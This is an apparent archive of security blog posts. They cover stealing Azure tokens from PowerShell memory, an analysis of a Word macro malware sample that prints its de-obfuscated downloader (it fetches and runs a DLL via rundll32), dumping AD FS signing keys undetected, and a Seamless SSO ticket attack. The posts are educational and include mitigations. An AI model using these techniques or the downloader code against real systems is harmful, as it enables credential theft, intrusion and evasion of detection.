Microsoft JSON Web Token Extractor

Microsoft JSON Web Token Extractor

When connecting to Azure using, for example, the PowerShell Az module, a JSON Web Token is created and sometimes stored in plain text on disk and memory. I will show where to find the JSON Web Tokens on disk in this blog post, including a tool I wrote to get JSON Web Tokens from memory that contains the JSON Web Tokens, including those found on disk.

JSON Web Tokens

To securely exchange information between parties, authenticating and authorizing a JSON Web Token is commonly used.

A JSON Web Token encodes any sets of identity claims into a payload, including a header that contains how it is to be signed.

The client authenticates to an Identity Provider, and the Identity Provider creates and signs, using a private key, a JSON Web Token. When the client connects to a service, it provides the signed JSON Web Token. The service validates the token using the public key of the Identity Provider and authenticates the client.

Image 1: JSON Web Token Authentication

Let us look at a JSON Web Token example:

Image 2: JSON Web Token example

The encoded part consists of three parts: A header, a payload, and a verify signature. If you tamper with the header or payload, the signature is not valid, and the token becomes invalid.

So, in short, having a valid JSON Web Token is the key to the kingdom.


The first and most obvious path to look for JSON Web Tokens is the HistorySavePath.

HistorySavePath is a setting that saves all PowerShell console history. When a user or admin connects to Azure using PowerShell, the command is stored to file in plain text.

Image 3: HistorySavePath
Image 4: Logging saved to file

Note: Since HistorySavePath loads when PowerShell starts, “Microsoft JSON Web Token Extractor” also displays these tokens.

User Profile

Depending on how a user or admin connects to Azure, the following JSON files contains the JSON Web Token in plain text:

Image 5: File location for JSON Web Tokens

Note: Since the JSON files load when PowerShell starts, “Microsoft JSON Web Token Extractor” also displays these tokens.

Script Block Logging

Script Block Logging saves blocks of code as PowerShell executes them. When a user or admin runs the following command in PowerShell and Script Block Logging is enabled, the event viewer contains the JSON Web Token.

Note: Script Block Logging setting is disabled by default but enabled by many companies due to monitoring.

Microsoft JSON Web Token Extractor

A JSON Web Token is created in memory when connecting to Azure using PowerShell using the following command:

I wondered if I could extract the JSON Web Token from memory without dumping anything on disk to avoid a trigger from any Endpoint Detection and Response solution.

The result is a C# tool to extract all JSON Web Tokens found in memory used by PowerShell, including those found on disk.

Image 6: Microsoft JSON Web Token Extractor


My idea was to jump from on-premises to the cloud without dumping the process to disk using standard tools. The token still needs to be valid, and a user or an admin needs to connect to Azure using PowerShell, but if they do, an attacker can connect to the cloud without touching any other device in the network and stay low-profile.

Microsoft Word Malware Example

Microsoft Word Malware Example

Most malware creators are very creative. Hiding content, obfuscate malicious code, or trick people into clicking messages forcing the malware to run. This blog post will go through real-world Microsoft Word malware to show how nifty some malware can be.

Malicious Word Document

In this example, I will use a real-world example found on the internet. The file is a Microsoft Word document named “Form – Apr 04_2021.doc”:

Image 1: Malicious Word document

The first thing you might notice is the file extension. Since .docx files cannot be used to store macros, malware creators often use the older .doc file extension.

Let us open the document and see what we got:

Image 2: Malicious Word document asking to enable content

Multiple things should catch your attention. Obviously, the “Enable Content” message and the image forcing people to click the “Enable Content” button. There are also 5926 words, and I do not see any words showing in the Word document itself. Lets “select all” using CTRL+A to see if there is any hidden content:

Image 3: 5926 of 5926 words selected

That is odd. Once you select all text, it shows “5926 of 5926 words” on the bottom left. It looks like some text is behind the image. Let us remove the image to see what is behind it. Unfortunately, because of an editing restriction, the image does not move, nor can it be deleted:

Image 4: The image does not move nor can it be deleted

Let us try and remove the restriction using the “Restrict Editing” option:

Image 5: Info / Protect Document / Restrict Editing

Once you click the “Restrict Editing” option, you have an option to stop the protection on the bottom right:

Image 6: Stop Protection option on the bottom right

Once you click the “Stop Protection,” no restriction is set, and the document is editable:

Image 7: No restrictions on the document

Simply deleting the image shows us the 5926 words with white font and font size 2:

Image 8: Hidden text with white font and font size 2

To see what the text contains, we select a black font and a bigger font size:

Image 9: Black font and a bigger font size

It looks like a base64 encoded string, but something is off. To understand what it is, we have to look at the macro. This particular macro uses the hidden text to create a valid base64 encoded string:

Image 10: Obfuscated macro

To bypass Endpoint Detection and Response, attackers obfuscate their macros. This particular macro uses the hidden text to create a valid base64 encoded string. We can try and de-obfuscate the macro, or we can enable PowerShell auditing and check the logging for the base64 encoded string.

Using a local policy, we can allow auditing to capture the base64 string used in this malware:

Image 11: Computer Configuration / Administrative templates / Windows Components / Windows PowerShell

Enable the macro, which starts audit logging and saves the logs in the event viewer:

Image 12: Turn on PowerShell Script Block Logging

Now that we have auditing enabled, click “Enable Content.” The following message box will appear:

Image 13: Fake macro message

Looking in the event viewer shows us a remarkable command (sYSTEm.NeT.wEbcLIEnT) with upper and lower-case characters (often used in malware to bypass signature-based scanning):

Image 14: Upper and lower-case character command to bypass signature based scanning

If we scroll down, we can see the base64 encoded command:

Image 15: Base64 encoded string often used in malware

Let us use PowerShell to decode the base64 encoded string:

Image 16: Variable with base64 encoded string

Use the following command to decode the base64 string:

Image 17: Decode base64 string

Once the base64 encoded string decoded, it still does not make a lot of sense:

Image 18: Decoded string

let us copy the code to a PowerShell editor:

Image 19: More readable code

A sharp eye notices the download file and rundll32, which loads a DLL file. You can see a variable that contains URLs, but it is hard to read. Let us use PowerShell to de-obfuscate the code:

Image 20: Copy the variable in PowerShell to de-obfuscate code

The de-obfuscated code looks like this:

Set-Variable ydTUW ([type]("System.IO.Directory"))
Set-Variable uaXKHR ([type]("System.Net.ServicePointManager"))

( Get-Item variable:ydtuw  ).value::"createDirectory"($HOME + (('{\Xk8f0bt\B7mwavb\')))
( Get-Item ('variable:UAXkHr')).value::"securityprotocol" = ('Tls12')

$Vzrcqt5 = $HOME + "\Xk8f0bt\B7mwavb\G14C.dll"

$U7_xeo1 = @("hxxp://", "hxxp://", "hxxps://", `
        "hxxps://", "hxxps://", "hxxps://", "hxxps://")

foreach ($A8ty2bf in $U7_xeo1) {
    try {
        (.('New-Object')"downloadfile"($A8ty2bf, $Vzrcqt5)
        If ((.('Get-Item') $Vzrcqt5)."length" -ge 32213) {
            &('rundll32') $Vzrcqt5, (('anystring'))."tostring"()
    catch {

The URLs used in this example do not work anymore, but if you could go to the URL, it downloads a DLL file as expected. Luckily, SmartScreen blocks all URLs as well:

Image 21: SmartScreen blocking malicious URLs


So what this malware does is the following:

  1. Hide a base64 encoded string behind a restricted editing image.
  2. Uses macros to de-obfuscate the base64 string used to download a malicious file.
  3. Runs obfuscated code in PowerShell to download a malicious DLL file and runs the DLL using rundll32.


There are a lot of mitigations for this type of attack. As for any attack, user awareness is always critical, but here are some technical mitigations:

As you can see in the last screenshot, Microsoft Defender SmartScreen blocks malicious websites. SmartScreen scans the website for malicious content and helps to identify malicious websites by blocking them. Be sure to enable Microsoft Defender SmartScreen.

Microsoft Defender for Endpoint detects this payload since the DLL file is downloaded and scanned from the disk. More sophisticated malware using a technique called “Living off the Land”, and makes it possible to run the malware in memory and not touch the disk to bypass Endpoint Detection and Response. If the DLL file is malicious, it will get flagged by a proper Endpoint Detection and Response like Microsoft Defender for Endpoint.

Disabling macros is also an option. Not everyone needs to run macros. As it is a typical attack, disabling macros for most people should be an option.

Not accepting files with the .doc or .docm extension should mitigate this type of attack as well since .docx (the newer format) does not support macros.

The Microsoft Word document needs to be delivered to the user. A typical attack is sending the Microsoft Word document by e-mail. Microsoft Defender for Office 365 blocks most malicious payload and is one of the best mitigations for this type of attack.

As you can see, there are a lot of mitigations for this type of attack. Layered security is key here, and if properly configured, most Microsoft security products block this attack.


Although malware creators are very creative, one misstep will block the malware. Even if Microsoft Defender SmartScreen does not detect the malicious website, other Microsoft security products will block this attack. Luckily this malware was blocked by Microsoft Defender for Endpoint since the malicious payload is saved to disk, which makes it easy to detect. If it was not detected, the attacker would get caught in one of the next steps for sure.

Microsoft Defender for Identity: ADFSDump

Microsoft Defender for Identity: ADFSDump

Microsoft updated Microsoft Defender for Identity to detect the ADFSDump tool’s use, which was the initial tool used in the Solorigate campaign. This blog post will describe what the attack does, including mitigations for the attack. I created a tool to perform the attack for educational purposes.

Active Directory Federation Services Authentication

To understand the attack, we first need to look at how Active Directory Federation Services (AD FS) works. Here is an oversimplified overview of the authentication using AD FS.

Image 1: AD FS Authentication Overview
  1. The user goes to and signs in with the username;
  2. Microsoft recognises the federation and sends a 302 HTTP response code, redirecting the user to the federated AD FS server ;
  3. The user identifies itself using a password on the Web Application Proxy used by AD FS;
  4. The Web Application Proxy sends the request to AD FS;
  5. AD FS authenticates the user by checking Active Directory if the user entered the correct credentials;
  6. AD DS sends the response of the authentication back to the AD FS server;
  7. AD FS signs a token using a token-signing certificate and sends it to the Web Application proxy;
  8. The Web Authentication Proxy sends the signed token to the user;
  9. The user presents the signed token to Microsoft 365 and can log in to the service.

Suppose there is a way to sign your tokens using a private key and token-signing certificate used by AD FS. In that case, you could impersonate the AD FS server and authenticate to federated services by presenting the signed token. Step 1 to 8 is not needed, and you can submit the forged token directly to the federated service. The federated service checks the token with the public key, and with the correct signed private key, the federated service authenticates the user.

The impersonation of an AD FS server is precisely what Doug Bienstock did. Doug Bienstock created a tool to obtain the token-signing certificate and private key to generate forged security tokens. The tool to obtain the token-signing certificate and private key is called ADFSDump. Since release 2.135 of Microsoft Defender for Identity, ADFSDump gets detected.


For educational purposes, I created a tool to dump the private key and certificate and get undetected by Microsoft Defender for Identity. Some key features of my tool are:

  1. The date creation of the private key helps identify which key to use;
  2. The private keys are in the correct format;
  3. Microsoft Defender for Identity does not detect the attack.
Image 2: ADFS Info

Once you have obtained the private key and token-signing certificate, use ADFSSpoof to create the forged token.


The service account used by AD FS contains Service Principal Names. That means the account is vulnerable to Kerberoasting. Be sure the service account includes a strong and generated password, so it is less likely an attacker can brute-force the password.

Looking at the Administrative Tier Model, consider placing AD FS in the tier 0 scope.

An obvious but important one is monitoring. As I mentioned in my top 5, monitoring is crucial in any organization. An attacker needs to go through many steps in the kill chain before the attacker can extract the details. Monitoring should detect an attacker by then.


In my previous blog post, I mentioned that attackers could hop from on-premises to the cloud. The attack described in this blog post is another way for an attacker to jump from on-premises to the cloud. Once the on-premises environment is compromised, the attacker has many possibilities to hop to the cloud. Even though a lot of companies are focussing on the cloud, do not forget the on-premises environment.

Microsoft on-premises to the cloud using Seamless Single Sign-On

Microsoft on-premises to the cloud using Seamless Single Sign-On

This blog post will demonstrate how an attacker can hop from on-premises Active Directory to Azure Active Directory or Microsoft 365 when Seamless Single Sign-On is enabled.

Seamless Single Sign-On

Azure Active Directory supports multiple authentication methods, including Seamless Single Sign-On. Seamless Single Sign-On automatically signs-in users when they are on their corporate devices connected to their corporate network. Users do not type in their username and password to sign in to their cloud-based applications. This feature provides users easy access to cloud-based applications without needing any additional on-premises components. Seamless Single Sign-On can be combined with either the Password Hash Synchronization or Pass-through Authentication sign-in methods.

Note: Seamless Single Sign-On does not apply to Active Directory Federation Services (ADFS).

When enabling Seamless Single Sign-On, Azure AD Connect creates a computer object (AZUREADSSOACC) within the on-premises Active Directory. The computer object holds multiple Service Principal Names.

Image 1: Service Principal Names for the computer object AZUREADSSOACC

Service Principal Name

The Service Principal Name ‘HTTP/’ holds a “secret” used to decrypt a Kerberos ticket when authenticating to Azure AD. If the client can present a valid Ticket Granting Service ticket, Azure AD assumes the client is on the corporate on-premises network and authenticates the user using Kerberos.

In my previous blog post about Kerberoasting, you can read that anyone with a valid Ticket Granting Ticket (any authenticated domain user) can request a Ticket Granting Service ticket. An attacker only needs to get a valid Ticket Granting Ticket and request the correct Ticket Granting Service ticket to log in to Azure AD or Microsoft 365 as that user.

Request the Ticket Granting Service ticket

I have added an option to request the Ticket Granting Service ticket using my Kerberos tool.

Image 2: Requesting a TGS using Kerberos

Extract the Ticket Granting Ticket of the user, including the HTTP Ticket Granting Service ticket, from memory and copy it to an attacker’s machine.

Access cloud applications

For Seamless Single Sign-On to work, you need to add a local policy to the attacker’s machine first.

Image 3: Local Computer Policy / User Configuration / Administrative Templates / Windows Components / Internet Explorer / Internet Control Panel / Security Page / Site to Zone Assignment List

Import the Ticket Granting Ticket and Ticket Granting Service ticket using a tool like Mimikatz and browse to to access the user’s cloud applications. You can now go to the Azure or Microsoft 365 portal to log in as the user.

Image 4: Login using Kerberos TGT and TGS on Azure / Microsoft 365 and MyApps


When an attacker gets hold of a Ticket Granting Ticket, the attacker can hop to cloud-based applications, including Azure and Microsoft 365. Other attack vectors make it possible for an attacker to jump from on-premises to the cloud, but they need admin privileges. With this attack, the attacker only needs to hold a valid Ticket Granting Ticket to jump to the cloud.

Microsoft Defender for Identity does not detect the Ticket Granting Service ticket request as it is an expecting request. Authenticating using Kerberos could bypass Conditional Access policies if not configured correctly.

There are other attack possibilities since the authentication creates an OAuth2 token for that user after authenticating, but more on that later.

Microsoft Defender

Microsoft Defender

Microsoft rebrands its enterprise security solutions to Microsoft Defender. Microsoft Defender is a holistic solution for what is known as Extended Detection and Response. This blog post will explain what is meant by Extended Detection and Response and go through the Microsoft Defender security name changes.

Extended Detection and Response is a solution that provides threat detection across multiple domains rather than the single point of view that Endpoint Detection and Response delivers. Endpoint Detection and Response uses machine learning and behavioral analysis to detect zero-day vulnerabilities looking at the behavior across a single security layer. Extended Detection and Response enables telemetry and behavioral analysis across numerous security layers.

Two Extended Detection and Response products from Microsoft Defender are Microsoft 365 Defender and Azure Defender. Microsoft 365 Defender is not a new product in the family. Microsoft 365 Defender is known as Microsoft Threat Protection. Microsoft 365 Defender uses a single unified portal, cross-domain hunting, for four products: Microsoft Defender for Identity, Microsoft Defender for Endpoint, Microsoft Defender for Office 365, and Microsoft Cloud App Security.

Figure 1: Microsoft Defender – Extended Detection and Response

Here is an example of an Extended Detection and Response incident: Suppose a potential threat identifies in Microsoft Defender for Office 365 as a “Potential phishing attack,” and around the same time, a potential threat is identified on the endpoint by Microsoft Defender for Endpoint. In that case, Microsoft 365 Defender will determine the risk and raise an alert, and creates an incident. The threat is not classified as potential anymore but as an incident due to detection across multiple domains.

Another added value of Extended Detection and Response is aggregation. Multiple threat encounters across various domains aggregates to less and manageable alerts, and those alerts aggregate to less and manageable incidents. Using aggregation, Security Operations Center does not need to go through all threat encounters, but they can focus on the more critical incidents. Using Microsoft 365 Defender makes it possible to execute advanced hunting using Kusto Query Language across multiple domains as well.

Last but not least, a reminder of the name changes within Microsoft Defender.

New product nameOld Product name
Microsoft Defender for IdentityMicrosoft Azure ATP
Microsoft Defender for EndpointMicrosoft Defender ATP
Microsoft Defender for Office 365Microsoft Office 365 ATP
Microsoft 365 DefenderMicrosoft Threat Protection
Azure Defender for ServersAzure Security Center Standard Edition
Azure Defender for IoTAzure Security Center for IoT
Azure Defender for SQLAdvanced Threat Protection for SQL
Microsoft Products Name Changes


Although Microsoft 365 Defender is not new, I like Microsoft 365 Defender as an Extended Detection and Response solution. The aggregation of alerts and advanced hunting makes it possible to get a better and more precise insight within the environment.

I had to get used to the name changes, but I am thrilled that Microsoft changes their products to a simpler naming scheme.